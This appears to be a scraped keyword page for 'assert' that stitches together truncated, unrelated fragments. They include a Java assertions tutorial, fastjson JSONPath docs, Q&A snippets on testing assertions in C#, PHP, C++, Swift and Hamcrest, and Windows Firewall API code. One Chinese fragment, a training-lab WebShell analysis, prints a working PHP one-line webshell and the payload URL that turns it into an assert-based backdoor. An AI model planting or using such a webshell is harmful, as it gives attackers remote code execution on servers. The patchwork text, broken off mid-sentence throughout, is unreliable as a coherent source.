assert

7.4 使用断言 断言是防御性编程的常用习惯用法。在下面的部分中，您将学习如何有效地使用它们。 7.4.1 断言概念 假设您确信某个特定属性已经实现，并且您在代码中依赖该属性。例如，您可能正在计算 double y = Math.sqrt(x); 你确定x不是负的。可能是另一个计算的结果不能有负的结果，或者是一个方法的参数，它要求调用方只提供正的输入。尽管如此，您还是希望进行双重检查，而不是允许混淆的“非数字”浮点值进入您的计算中。当然，您可以抛出一个异常： if (x < 0) throw new IllegalArgumentException("x < 0"); 但即使在测试完成后，此代码仍保留在程序中。如果您有很多这种检查，程序可能会比它应该运行的慢很多。 断言机制允许您在测试期间放入检查，并在生产代码中自动删除它们。 Java语言有一个关键字 assert 。有两种形式： assert condition; 以及 assert condition : expression; 这两个语句都评估条件，如果条件为 false ，则抛出 AssertionError 。在第二条语句中，表达式被传递给 AssertionError 对象的构造函数，并转换为消息字符串。 注意 表达式部分的唯一目的是生成消息字符串。 AssertionError 对象不存储实际的表达式值

JOSNPath 是一个非常强大的工具，对于处理 json 对象非常方便。 官方地址： https://github.com/alibaba/fastjson/wiki/JSONPath 基本用法： https://blog.csdn.net/itguangit/article/details/78764212 1. JSONPath介绍 fastjson 1.2.0之后的版本支持JSONPath。这是一个很强大的功能，可以在java框架中当作对象查询语言（OQL）来使用。 2. API package com.alibaba.fastjson; public class JSONPath { // 求值，静态方法 public static Object eval(Object rootObject, String path); // 求值，静态方法，按需计算，性能更好 public static Object extract(String json, String path); // 计算Size，Map非空元素个数，对象非空元素个数，Collection的Size，数组的长度。其他无法求值返回-1 public static int size(Object rootObject, String path); // 是否包含，path中是否存在对象 public static

I have two identical byte arrays in the following segment of code: /// <summary> ///A test for Bytes ///</summary> [TestMethod()] public void BytesTest() { byte[] bytes = Encoding.UTF8.GetBytes(Properties.Resources.ExpectedPacketData); TransferEventArgs target = new TransferEventArgs(bytes); byte[] expected = Encoding.UTF8.GetBytes(Properties.Resources.ExpectedPacketValue); byte[] actual; actual = target.Bytes; Assert.AreEqual(expected, actual); } Both arrays are identical down to the very byte. In this scenario, why would Assert.AreEqual fail? Assert.Equals tests using the Equals method,

I need to check if a variable is an object of the User type. User is my class $user my object $this->assertInstanceOf($user,User); This is not working, I have a use of undefined constant User - assumed 'User' Thanks in advance for your help http://apigen.juzna.cz/doc/sebastianbergmann/phpunit/function-assertInstanceOf.html I think you are using this function wrong. Try: $this->assertInstanceOf('User', $user); It's always a good idea to use ::class wherever you can. If you get used to this standard, you don't have to use FQCNs (fully qualified classnames), or escape backslashes. Also, IDEs

How are assertions done in c++? Example code is appreciated. Asserts are a way of explicitly checking the assumptions that your code makes, which helps you track down lots of bugs by narrowing down what the possible problems could be. They are typically only evaluated in a special "debug" build of your application, so they won't slow down the final release version. Let's say you wrote a function that took a pointer as an argument. There's a good chance that your code will assume that the pointer is non-NULL, so why not explicitly check that with an assertion? Here's how: #include <assert.h>

I am in the middle of reading the excellent Clean Code One discussion is regarding passing nulls into a method. public class MetricsCalculator { public double xProjection(Point p1, Point p2) { return (p2.x - p1.x) * 1.5; } } ... calculator.xProjection(null, new Point(12,13)); It represents different ways of handling this: public double xProjection(Point p1, Point p2) { if (p1 == null || p2 == null) { throw new IllegalArgumentException("Invalid argument for xProjection"); } return (p2.x - p1.x) * 1.5; } public double xProjection(Point p1, Point p2) { assert p1 != null : "p1 should not be null";

It seems that Swift doesn't have C#/Java-like exceptions and uses assertions instead. However, the book says that in production environment, they instantly crash the app. Isn't there a way around it? What about unit tests, how can I test that a certain function asserts that it gets a correct input value? Guilherme Torres Castro From Apple books, The Swift Programming Language it's seems erros should be handle using enum. Here is an example from the book. enum ServerResponse { case Result(String, String) case Error(String) } let success = ServerResponse.Result("6:00 am", "8:09 pm") let failure

How would I assertThat something is null ? for example assertThat(attr.getValue(), is("")); But I get an error saying that I cannot have null in is(null) . Rohit Jain You can use IsNull.nullValue() method: import static org.hamcrest.Matchers.is; import static org.hamcrest.Matchers.nullValue; assertThat(attr.getValue(), is(nullValue())); Chetya why not use assertNull(object) / assertNotNull(object) ? If you want to hamcrest , you can do import static org.hamcrest.Matchers.nullValue; assertThat(attr.getValue(), is(nullValue())); In Junit you can do import static junit.framework.Assert.assertNull

WebShell代码分析溯源(一) 一、 一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二、代码分析 1、调整代码格式 <?php $_GET['POST']($_POST['GET']); ?> 2、分析代码，首先以GET方法接收url中POST参数传递的值，然后又以POST方法接收GET参数传递的值，因此可以构造payload:http://www.test.com/test.php?POST=assert,这样就相当于一句话木马变成这样: <?php assert($_POST['GET']);?> 注:不能使用eval,eval与assert的区别: eval函数中参数是字符,eval并不支持可变变量形式 assert函数中参数为表达式 （或者为函数） 参考: https://www.anquanke.com/post/id/173201/ https://blog.csdn.net/whatday/article/details/59168605 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第1题))，地址: https://www.mozhe.cn/bug/detail/TkhnOVovVm14KzV6aTN5K2d1dFZ0Zz09bW96aGUmozhe 2、代码环境

防火墙相关API目录： https://docs.microsoft.com/en-us/windows/win32/api/netfw/ https://docs.microsoft.com/zh-cn/previous-versions/windows/desktop/ics/windows-firewall-advanced-security-start-page 示例代码： /* Windows Firewall 虽然未见得管用，但它对我们软件实施有时候会带来不少的麻烦，所以有时候要干预它的行为，贴一段MS的演示代码，供各位参考。 */ #include <windows.h> #include <crtdbg.h> #include <netfw.h> #include <objbase.h> #include <oleauto.h> #include <stdio.h> HRESULT WindowsFirewallInitialize(OUT INetFwProfile** fwProfile) { HRESULT hr = S_OK; INetFwMgr* fwMgr = NULL; INetFwPolicy* fwPolicy = NULL; _ASSERT(fwProfile != NULL); *fwProfile = NULL; // Create an